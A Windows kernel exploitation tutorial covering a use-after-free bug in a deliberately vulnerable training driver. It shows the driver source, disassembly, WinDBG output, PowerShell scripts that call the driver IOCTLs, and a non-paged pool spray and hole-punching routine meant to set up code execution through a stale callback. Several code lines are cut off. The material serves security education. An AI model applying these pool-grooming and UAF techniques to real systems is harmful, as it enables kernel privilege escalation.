

## Part 15: Kernel Exploitation -> UAF

Hola, and welcome back to part 15 of the Windows exploit development tutorial series. Today we have another post on pwning @HackSysTeam's extreme vulnerable driver. In this post we will be exploiting the Use-After-Free vulnerability, in what will be the first of the "complex" vuln classes! I recommend readers get a leg up and review the resources listed below as they provide a comprehensive explanation of kernel pool memory and reserve objects. For more details on setting up the debugging environment see [part 10](#).

### Resources:

- + HackSysExtremeVulnerableDriver (@HackSysTeam) - [here](#)
- + HackSysTeam-PSKernelPwn (@FuzzySec) - [here](#)
- + Kernel Pool Exploitation on Windows 7 (Tarjei Mandt) - [here](#)
- + Reserve Objects in Windows 7 (@j00ru) - [here](#)

## Recon the challenge

The recon portion of this post is slightly different as there are a number of driver functions involved in the UAF vulnerability. We will look at each of them in turn as provide such detail as is appropriate.

### AllocateUaFObject

```

NTSTATUS AllocateUaFObject() {
    NTSTATUS Status = STATUS_SUCCESS;
    PUSE_AFTER_FREE UseAfterFree = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating UaF Object\n");

        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
                                                                sizeof(USE_AFTER_FREE),
                                                                (ULONG)POOL_TAG);

        if (!UseAfterFree) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }

        // Fill the buffer with ASCII 'A'
        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\\0';

        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallback;

        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObject = UseAfterFree;

        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
}

```

```
} return Status;
```

The function allocates a non-paged pool chunk, fills it with A's, prepends a callback pointer and adds a null terminator. Pretty much the same story in IDA, the screenshot below can be used for reference. Notice the object size is 0x58 bytes and the pool tag is "Hack" (little endian).

```
; Attributes: bp-based frame

; int __stdcall AllocateUafObject()
_AllocateUafObject@00 proc near

Tag= dword ptr -30h
var_1C= dword ptr -1Ch
ms_exc= CPPEH_RECORD ptr -18h

push    0Ch
push    offset stru_12148
call    __SEH_prolog4
xor     ebx, ebx
xor     edi, edi
mov     [ebp+ms_exc.registration.TryLevel], ebx
push    offset aAllocatingUaf0 ; "[+] Allocating UaF Object\n"
call    _DbgPrint
mov     [esp+30h+Tag], 6B636148h ; Tag
push    58h                  ; NumberOfBytes ——— Object Size
push    ebx                  ; PoolType
call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
mov     esi, eax
cmp     esi, ebx
jnz     short loc_141E1
```

```
loc_141E1:                ; "'kcaH'" ——— Pool Tag => Hack
push    offset aKcah
push    offset aPoolTagS : "[+1 Pool Tag: %s\n"
```

```

call    _DbgPrint
push    offset aNonpagedpool ; "NonPagedPool"
push    offset aPoolTypeS ; "[+] Pool Type: %s\n"
call    _DbgPrint
push    58h
push    offset aPoolSize0xX ; "[+] Pool Size: 0x%X\n"
call    _DbgPrint
push    esi
push    offset aPoolChunk0xP ; "[+] Pool Chunk: 0x%p\n"
call    _DbgPrint
push    54h ; size_t
push    41h ; int
lea     eax, [esi+4]
push    eax ; void *
call    _memset
mov     [esi+57h], bl
mov     dword ptr [esi], offset _UaF0bjectCallback@0 ; UaF0bjectCallback()
mov     _g_UseAfterFree0b, esi
push    esi
push    offset aUseafterfree0b ; "[+] UseAfterFree Object: 0x%p\n"
call    _DbgPrint
push    _g_UseAfterFree0b
push    offset aG_useafterfree ; "[+] g_UseAfterFreeObject: 0x%p\n"
call    _DbgPrint
push    dword ptr [esi]
push    offset aUseafterfreeCa ; "[+] UseAfterFree->Callback: 0x%p\n"
call    _DbgPrint
add     esp, 44h
jmp     short loc_1427F

```

We can use the following PowerShell POC to call the function.

```

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,

```

```

        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);

[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [Sy
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPt

```

```

kd> g
***** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT *****
[+] Allocating UaF Object
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x58
[+] Pool Chunk: 0x84C62058
[+] UseAfterFree Object: 0x84C62058
[+] g_UseAfterFreeObject: 0x84C62058
[+] UseAfterFree->CallBack: 0x95D51180
***** HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT *****
nt!RtlpBreakWithStatusInstruction:
82885110 cc int 3
kd> dc 0x84C62058-0x8 L18
84c62050 040c000a 6b636148 95d51180 41414141 ....Hack....AAAA
84c62060 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
84c62070 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
84c62080 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
84c62090 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
84c620a0 41414141 41414141 41414141 00414141 AAAAAAAAAAAAAAA.
kd> !pool 0x84C62058
Pool page 84c62058 region is Nonpaged pool
84c62000 size: 50 previous size: 0 (Allocated) KSoH
*84c62050 size: 60 previous size: 50 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
84c620b0 size: b8 previous size: 60 (Allocated) File (Protected)
84c62168 size: 40 previous size: b8 (Allocated) Even (Protected)
84c621a8 size: 90 previous size: 40 (Allocated) Ntfx
84c62238 size: 20 previous size: 90 (Allocated) Ntfx

```

0x8  
 + 0x58  
 -----  
 0x60

## FreeUaFObject

```

NTSTATUS FreeUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(PPOOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
        }
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = STATUS_UNSUCCESSFUL;
    }
}

```

```

#ifdef SECURE
    // Secure Note: This is secure because the developer is setting
    // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
    ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

    g_UseAfterFreeObject = NULL;
#else
    // Vulnerability Note: This is a vanilla Use After Free vulnerability
    // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
    // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
    // (dangling pointer)
    ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif

    Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[ - ] Exception Code: 0x%X\n", Status);
}

return Status;
}

```

Fairly straight forward, this frees the pool chunk by referencing the tag value. This is the function that contains the vulnerability in that "g\_UseAfterFreeObject" is not set to null after the object is freed and so retains a stale object pointer. Again let's quickly try that with the following POC.

```

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
}

```

```

[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);

[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [Sy

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPt

```



```

kd> g
***** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT *****
[+] Freeing UaF Object
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x84C62058
***** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT *****
nt!RtlpBreakWithStatusInstruction:
82885110 cc          int      3
kd> !pool 0x84C62058
Pool page 84c62058 region is Nonpaged pool
84c62000 size:      50 previous size:      0 (Allocated)  KSoh
*84c62050 size:      60 previous size:      50 (Free ) *NSpg Process: 85da5030
      Pooltag NSpg : NSI Proxy Generic Buffers, Binary : nsi.dll
84c620b0 size:      b8 previous size:      60 (Allocated)  File (Protected)
84c62168 size:      40 previous size:      b8 (Allocated)  Even (Protected)
84c621a8 size:      90 previous size:      40 (Allocated)  Ntfx

```

Notice that the pool chunk address is the same as the one we allocated above.

### UseUaFObject

```

NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback();
            }

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
}

```

```

    }

    return Status;
}

```

This function reads in the "g\_UseAfterFreeObject" value and executes the object callback. If we call this function with the following POC we essentially end up calling volatile memory because the system is free to re-purpose the, previously freed, pool chunk for whatever reason it sees fit.

```

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [Sy
if ($hDevice -eq -1) {

```

```

    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPt

```

## AllocateFakeObject

Finally, and slightly contrived, we have a driver function which allows us to allocate a fake object on the non-paged pool. Highly convenient as this function allows us to allocate objects identical to the original UAF object.

```

NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT KernelFakeObject = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Creating Fake Object`n");

        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
                                                                sizeof(FAKE_OBJECT),
                                                                (ULONG)POOL_TAG);

        if (!KernelFakeObject) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk`n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s`n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s`n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X`n", sizeof(FAKE_OBJECT));
            DbgPrint("[+] Pool Chunk: 0x%p`n", KernelFakeObject);
        }
    }
}

```

```

        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));

        // Copy the Fake structure to Pool chunk
        RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));

        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

```

The POC to call this function is shown below. Notice that, here, we do need to craft a buffer and supply an input length.

```

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,

```

```

        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [Sy

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Ze

```

```

kd> g
***** HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT *****
[+] Creating Fake Object
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x58
[+] Pool Chunk: 0x85D2B240
[+] Fake Object: 0x85D2B240
***** HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT *****

nt!RtlpBreakWithStatusInstruction:
82885110 cc          int          3
kd> dc 0x85D2B240-0x8 L18
85d2b238 040c0001 6b636148 41414141 42424242 ....HackAAAABBBB
85d2b248 42424242 42424242 42424242 42424242BBBBBBBBBBBBBBBB
85d2b258 42424242 42424242 42424242 42424242BBBBBBBBBBBBBBBB
85d2b268 42424242 42424242 42424242 42424242BBBBBBBBBBBBBBBB
85d2b278 42424242 42424242 42424242 42424242BBBBBBBBBBBBBBBB
85d2b288 42424242 42424242 42424242 00424242BBBBBBBBBBBBBB.
kd> !pool 0x85D2B240
Pool page 85d2b240 region is Nonpaged pool
 85d2b000 size:  b8 previous size:  0 (Allocated)  File (Protected)
 85d2b0b8 size:   8 previous size: b8 (Free)       ....
 85d2b0c0 size:  68 previous size:  8 (Allocated)  FMsl
 85d2b128 size:  20 previous size: 68 (Allocated)  ReTa
 85d2b148 size:  a0 previous size: 20 (Allocated)  Nb05
 85d2b1e8 size:  48 previous size: a0 (Allocated)  Vad
 85d2b230 size:   8 previous size: 48 (Free)       FMic
*85d2b238 size:  60 previous size:  8 (Allocated) *Hack
      Owning component : Unknown (update pooltag.txt)
 85d2b298 size:  e8 previous size: 60 (Allocated)  WmiG (Protected)
 85d2b380 size:  b8 previous size: e8 (Free)       File
 85d2b438 size:  90 previous size: b8 (Allocated)  Nbtl
 85d2b4c8 size:  90 previous size: 90 (Allocated)  MmCa
 85d2b558 size:  b8 previous size: 90 (Free)       File
 85d2b610 size:  e8 previous size: b8 (Allocated)  WmiG (Protected)

```

**Fake Callback**

**0x60**

Pwn all the things!

## Game Plan

Ok, the basic principle is straight forward. We (1) allocate the UAF object, (2) we free the UAF object, (3) we replace the pool chunk with our fake object, (4) we call the stale UAF pointer and end up executing code with the callback function from our fake object. Nice and simple!


The only issues we may face here are memory alignment and pool chunk coalescing, again I recommend you read Tarjei's [paper](#). Essentially, if we free the UAF object and it is adjacent to other free pool chunks then the allocator will coalesce these chunks for performance reasons. If this happens it will be highly unlikely that we can replace the UAF object with our own fake object. To avoid this we need to get the non-paged pool in a predictable state and force the driver to allocate the UAF object in a location we can reliably overwrite later!

## Derandomize the Non-Paged Pool

Our first objective here is to fill in, as best as possible, all the empty spaces at the "start" of the non-paged kernel pool. To do this we will create a ton of objects with a size close to our UAF object. IoCompletionReserve objects are a perfect candidate for this as they are allocated on the non-paged pool and have a size of 0x60!

First, let's have a look at the IoCompletionReserve object type before we spray the pool (object types can be listed with => "!object \ObjectTypes").

```
kd> dt nt!_OBJECT_TYPE 8483c4c0
+0x000 TypeList      : _LIST_ENTRY [ 0x8483c4c0 - 0x8483c4c0 ]
+0x008 Name          : _UNICODE_STRING "IoCompletionReserve"
+0x010 DefaultObject : (null)
+0x014 Index         : 0xa ''
+0x018 TotalNumberOfObjects : 1
+0x01c TotalNumberOfHandles : 1
+0x020 HighWaterNumberOfObjects : 1
+0x024 HighWaterNumberOfHandles : 1
+0x028 TypeInfo      : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock      : _EX_PUSH_LOCK
+0x07c Key           : 0x6f436f49
+0x080 CallbackList  : _LIST_ENTRY [ 0x8483c540 - 0x8483c540 ]
kd> dt nt!_OBJECT_TYPE 8483c4c0 TypeInfo.PoolType
+0x028 TypeInfo      :
+0x024 PoolType      : 0 ( NonPagedPool )
```



We can use the `NtAllocateReserveObject` function to create IoCo objects. This function returns a handle to the created object and as long as we don't release the handle, the object will remain allocated in the pool. In the POC below I am spraying these objects in two sittings, (1) x10000 objects to fill in the fragmented pool space and (2) x5000 which should hopefully be consecutive.

For debugging purposes the script dumps the last 10 handles to stdout and then automatically initializes a breakpoint in WinDBG.

```
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32 ObjectAttributes,
        UInt32 ObjectType);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
}
```



```

for ($i=0;$i -lt 5000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
        $Spray += $hObject
    }
}
$Script:IoCo_hArray2 += $Spray
echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($IoCo_hArray2[-$i]).ToInt64()
}

echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

```

You should see something like this and hit a breakpoint in WinDBG.

```
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Users\b33f> .\Desktop\Pool_Spray.ps1

[>] Spraying non-paged kernel pool!
[+] Derandomizing NonPagedPool..
[+] 10000 IoCo objects created!
[+] Allocating sequential objects..
[+] 5000 IoCo objects created!

[>] Last 10 object handles:
EFA0
EF9C
EF98
EF94
EF90
EF8C
EF88
EF84
EF80
EF7C

[>] Triggering WinDBG breakpoint..
```

If we take another look at the IoCompletionReserve type we can see we did in fact allocate 15000 objects!

```
kd> g
Break instruction exception - code 80000003 (first chance)
KernelBase!DebugBreak+0x2: ——— Hit breakpoint
001b:7573381b cc          int     3
kd> dt nt!_OBJECT_TYPE 8483c4c0
+0x000 TypeList          : _LIST_ENTRY [ 0x8483c4c0 - 0x8483c4c0 ]
+0x008 Name              : _UNICODE_STRING "IoCompletionReserve"
+0x010 DefaultObject     : (null)
+0x014 Index             : 0xa ''
+0x018 TotalNumberOfObjects : 0x3a99
+0x01c TotalNumberOfHandles : 0x3a99
+0x020 HighWaterNumberOfObjects : 0x3a99
+0x024 HighWaterNumberOfHandles : 0x3a99
+0x028 TypeInfo          : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock           : _EX_PUSH_LOCK
+0x07c Key                : 0x6f436f49
+0x080 CallbackList      : _LIST_ENTRY [ 0x8483c540 - 0x8483c540 ]
```

15001 Objects

Let's inspect one of the handles we dumped to stdout.

```

kd> !handle 0xefa0

PROCESS 85e949e8 SessionId: 1 Cid: 0a9c Peb: 7ffdf000 ParentCid: 05a8
DirBase: 7f7d63a0 ObjectTable: 8dc285d0 HandleCount: 15307.
Image: powershell.exe

Handle table at 8dc285d0 with 15307 entries in use

efa0: Object: 86054c10 GrantedAccess: 000f0003 Entry: 97971f40
Object: 86054c10 Type: (8483c4c0) IoCompletionReserve
ObjectHeader: 86054bf8 (new version)
HandleCount: 1 PointerCount: 1

kd> dt nt!_OBJECT_HEADER 86054bf8 .
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree :
+0x008 Lock :
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y00000000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x00c TypeIndex : 0xa ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo :
+0x010 QuotaBlockCharged :
+0x014 SecurityDescriptor :
+0x018 Body :
+0x000 UseThisFieldToCopy : 0n0
+0x000 DoNotUseThisField : 0

```

As expected, it's an IoCompletionReserve object. Also, considering this is one of the last handles of our spray, we should have consecutive allocations on the non-paged pool.

```

kd> dc 86054bf8 L18
86054bf8 00000001 00000001 00000000 0008000a .....
86054c08 85c46b40 00000000 00000000 00000000 @k.....
86054c18 00000000 00000003 00000000 00000000 .....
86054c28 00000000 00000000 82b2a2ef 86054c10 .....L..
86054c38 00000000 00000000 040c000c ef436f49 .....IoC.
86054c48 00000000 0000005c 00000000 00000000 ....\.....
kd> dc 86054bf8+0x60 L18
86054c58 00000001 00000001 00000000 0008000a .....
86054c68 85c46b40 00000000 00000000 00000000 @k.....
86054c78 00000000 00000003 00000000 00000000 .....
86054c88 00000000 00000000 82b2a2ef 86054c70 .....pL..
86054c98 00000000 00000000 040c000c ef436f49 .....IoC.
86054ca8 00000000 0000005c 00000000 00000000 ....\.....
kd> dc 86054bf8+0xc0 L18
86054cb8 00000001 00000001 00000000 0008000a .....
86054cc8 85c46b40 00000000 00000000 00000000 @k.....
86054cd8 00000000 00000003 00000000 00000000 .....
86054ce8 00000000 00000000 82b2a2ef 86054cd0 .....L..
86054cf8 00000000 00000000 040c000c ef436f49 .....IoC.
86054d08 00000000 0000005c 00000000 00000000 ....\.....
kd> !pool 86054bf8
Pool page 86054bf8 region is Nonpaged pool
86054000 size: 60 previous size: 0 (Allocated) IoCo (Protected)
86054060 size: 438 previous size: 60 (Free) ....
86054498 size: 2e8 previous size: 438 (Allocated) Thre (Protected)
86054780 size: 460 previous size: 2e8 (Free) Irp
*86054be0 size: 60 previous size: 460 (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
86054c40 size: 60 previous size: 60 (Allocated) IoCo (Protected)
86054ca0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
86054d00 size: 60 previous size: 60 (Allocated) IoCo (Protected)
86054d60 size: 60 previous size: 60 (Allocated) IoCo (Protected)
86054dc0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
86054e20 size: 60 previous size: 60 (Allocated) IoCo (Protected)
86054e80 size: 60 previous size: 60 (Allocated) IoCo (Protected)
86054ee0 size: 60 previous size: 60 (Allocated) IoCo (Protected)

```

0x60



Woot, we can see the size of our object is 0x60 (96) bytes and some stable consecutive allocations! As a final step we will add a routine to our POC to free every second IoCompletionReserve object from our second allocation (2500 in total) to create holes in the non-paged pool!

?

```

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32 ObjectAttributes,
        UInt32 ObjectType);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@

function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}

```

```

echo "[+] Creating non-paged pool holes.."
for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
    $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
    if ($CallResult -ne 0) {
        $FreeCount += 1
    }
}
echo "[+] Free'd $FreeCount IoCo objects!"
}

echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray

echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}

echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

```

```
kd> !handle 0xefec
```

```

